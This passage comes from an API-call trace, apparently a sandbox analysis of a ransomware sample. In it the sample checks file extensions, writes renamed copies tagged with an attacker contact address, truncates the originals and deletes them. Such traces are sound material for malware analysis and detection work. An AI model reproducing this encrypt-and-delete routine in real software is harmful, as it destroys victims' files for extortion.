4 [0272.182] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.182] lstrlenW (lpString=".bz2") returned 4 [0272.182] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.182] lstrlenW (lpString=".7z") returned 3 [0272.182] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0272.182] lstrlenW (lpString=".dbf") returned 4 [0272.182] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0272.182] lstrlenW (lpString=".1cd") returned 4 [0272.182] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID") returned 63 [0272.182] lstrlenW (lpString=".jpg") returned 4 [0272.182] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.182] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0272.182] lstrlenW (lpString="VCTRN_01.MID") returned 12 [0272.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.184] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=4961) returned 1 [0272.184] CloseHandle (hObject=0x2f0) returned 1 [0272.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x20 [0272.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.184] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.184] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.185] GetLastError () returned 0x0 [0272.185] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x1361, lpOverlapped=0x0) returned 1 [0272.186] WriteFile (in: hFile=0x388, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0272.187] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.187] WriteFile (in: hFile=0x388, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.187] SetEndOfFile (hFile=0x388) returned 1 [0272.187] CloseHandle (hObject=0x388) returned 1 [0272.187] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.187] SetEndOfFile (hFile=0x2f0) returned 1 [0272.189] CloseHandle (hObject=0x2f0) returned 1 [0272.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0272.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0272.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0272.190] lstrlenW (lpString=".doc") returned 4 [0272.190] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.190] lstrlenW (lpString=".docx") returned 5 [0272.190] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.190] lstrlenW (lpString=".pdf") returned 4 [0272.190] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.190] lstrlenW (lpString=".xls") returned 4 [0272.190] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.190] lstrlenW (lpString=".xlsx") returned 5 [0272.190] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.190] lstrlenW (lpString=".ppt") returned 4 [0272.190] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0272.190] lstrlenW (lpString=".zip") returned 4 [0272.190] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.191] lstrlenW (lpString=".rar") returned 4 [0272.191] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.191] lstrlenW (lpString=".bz2") returned 4 [0272.191] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.191] lstrlenW (lpString=".7z") returned 3 [0272.191] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0272.191] lstrlenW (lpString=".dbf") returned 4 [0272.191] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0272.191] lstrlenW (lpString=".1cd") returned 4 [0272.191] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0272.191] lstrlenW (lpString=".jpg") returned 4 [0272.191] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0272.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0272.191] lstrlenW (lpString=".doc") returned 4 [0272.191] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.191] lstrlenW (lpString=".docx") returned 5 [0272.191] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.191] lstrlenW (lpString=".pdf") returned 4 [0272.192] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.192] lstrlenW (lpString=".xls") returned 4 [0272.192] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.192] lstrlenW (lpString=".xlsx") returned 5 [0272.192] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.192] lstrlenW (lpString=".ppt") returned 4 [0272.192] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0272.192] lstrlenW (lpString=".zip") returned 4 [0272.192] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.192] lstrlenW (lpString=".rar") returned 4 [0272.192] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.192] lstrlenW (lpString=".bz2") returned 4 [0272.192] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.192] lstrlenW (lpString=".7z") returned 3 [0272.192] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0272.192] lstrlenW (lpString=".dbf") returned 4 [0272.192] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0272.192] lstrlenW (lpString=".1cd") returned 4 [0272.192] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0272.192] lstrlenW (lpString=".jpg") returned 4 [0272.192] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.192] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0272.192] lstrlenW (lpString="WNTER_01.MID") returned 12 [0272.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.193] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=6915) returned 1 [0272.193] CloseHandle (hObject=0x2f0) returned 1 [0272.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 0x20 [0272.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0272.194] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.194] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.194] GetLastError () returned 0x0 [0272.194] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x1b03, lpOverlapped=0x0) returned 1 [0272.226] WriteFile (in: hFile=0x388, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x1b10, lpOverlapped=0x0) returned 1 [0272.227] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.227] WriteFile (in: hFile=0x388, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.227] SetEndOfFile (hFile=0x388) returned 1 [0272.227] CloseHandle (hObject=0x388) returned 1 [0272.227] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.227] SetEndOfFile (hFile=0x2f0) returned 1 [0272.229] CloseHandle (hObject=0x2f0) returned 1 [0272.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 1 [0272.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0272.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0272.266] lstrlenW (lpString=".doc") returned 4 [0272.266] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.266] lstrlenW (lpString=".docx") returned 5 [0272.266] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.266] lstrlenW (lpString=".pdf") returned 4 [0272.266] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.266] lstrlenW (lpString=".xls") returned 4 [0272.266] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.266] lstrlenW (lpString=".xlsx") returned 5 [0272.266] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.266] lstrlenW (lpString=".ppt") returned 4 [0272.266] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0272.266] lstrlenW (lpString=".zip") returned 4 [0272.266] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.266] lstrlenW (lpString=".rar") returned 4 [0272.266] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.266] lstrlenW (lpString=".bz2") returned 4 [0272.266] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.266] lstrlenW (lpString=".7z") returned 3 [0272.266] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0272.266] lstrlenW (lpString=".dbf") returned 4 [0272.266] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0272.266] lstrlenW (lpString=".1cd") returned 4 [0272.266] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0272.266] lstrlenW (lpString=".jpg") returned 4 [0272.266] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0272.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0272.266] lstrlenW (lpString=".doc") returned 4 [0272.267] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0272.267] lstrlenW (lpString=".docx") returned 5 [0272.267] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0272.267] lstrlenW (lpString=".pdf") returned 4 [0272.267] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0272.267] lstrlenW (lpString=".xls") returned 4 [0272.267] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0272.267] lstrlenW (lpString=".xlsx") returned 5 [0272.267] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0272.267] lstrlenW (lpString=".ppt") returned 4 [0272.267] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0272.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0272.267] lstrlenW (lpString=".zip") returned 4 [0272.267] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0272.267] lstrlenW (lpString=".rar") returned 4 [0272.267] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0272.267] lstrlenW (lpString=".bz2") returned 4 [0272.267] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0272.267] lstrlenW (lpString=".7z") returned 3 [0272.267] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0272.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0272.267] lstrlenW (lpString=".dbf") returned 4 [0272.267] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0272.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0272.268] lstrlenW (lpString=".1cd") returned 4 [0272.268] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0272.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 63 [0272.268] lstrlenW (lpString=".jpg") returned 4 [0272.268] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0272.268] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1 [0272.268] lstrlenW (lpString="Angles.eftx") returned 11 [0272.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0272.269] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=27365) returned 1 [0272.269] CloseHandle (hObject=0x384) returned 1 [0272.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 0x20 [0272.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0272.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0272.269] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.269] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0272.332] GetLastError () returned 0x0 [0272.332] ReadFile (in: hFile=0x384, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x6ae5, lpOverlapped=0x0) returned 1 [0272.334] WriteFile (in: hFile=0x390, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x6af0, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0x6af0, lpOverlapped=0x0) returned 1 [0272.335] ReadFile (in: hFile=0x384, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.335] WriteFile (in: hFile=0x390, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0272.335] SetEndOfFile (hFile=0x390) returned 1 [0272.335] CloseHandle (hObject=0x390) returned 1 [0272.335] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.335] SetEndOfFile (hFile=0x384) returned 1 [0272.338] CloseHandle (hObject=0x384) returned 1 [0272.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0272.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx")) returned 1 [0272.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0272.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0272.338] lstrlenW (lpString=".doc") returned 4 [0272.338] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.338] lstrlenW (lpString=".docx") returned 5 [0272.338] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.338] lstrlenW (lpString=".pdf") returned 4 [0272.338] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.338] lstrlenW (lpString=".xls") returned 4 [0272.338] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.338] lstrlenW (lpString=".xlsx") returned 5 [0272.338] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.338] lstrlenW (lpString=".ppt") returned 4 [0272.338] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0272.339] lstrlenW (lpString=".zip") returned 4 [0272.339] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.339] lstrlenW (lpString=".rar") returned 4 [0272.339] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.339] lstrlenW (lpString=".bz2") returned 4 [0272.339] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.339] lstrlenW (lpString=".7z") returned 3 [0272.339] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0272.339] lstrlenW (lpString=".dbf") returned 4 [0272.339] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0272.339] lstrlenW (lpString=".1cd") returned 4 [0272.339] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0272.339] lstrlenW (lpString=".jpg") returned 4 [0272.339] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0272.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0272.339] lstrlenW (lpString=".doc") returned 4 [0272.339] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.339] lstrlenW (lpString=".docx") returned 5 [0272.339] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.339] lstrlenW (lpString=".pdf") returned 4 [0272.339] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.339] lstrlenW (lpString=".xls") returned 4 [0272.339] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.339] lstrlenW (lpString=".xlsx") returned 5 [0272.339] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.339] lstrlenW (lpString=".ppt") returned 4 [0272.339] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0272.340] lstrlenW (lpString=".zip") returned 4 [0272.340] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.340] lstrlenW (lpString=".rar") returned 4 [0272.340] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.340] lstrlenW (lpString=".bz2") returned 4 [0272.340] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.340] lstrlenW (lpString=".7z") returned 3 [0272.340] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0272.340] lstrlenW (lpString=".dbf") returned 4 [0272.340] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx") returned 78 [0272.340] lstrlenW (lpString=".1cd") returned 4 [0272.340] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.340] lstrlenW (lpString="C:\\Program 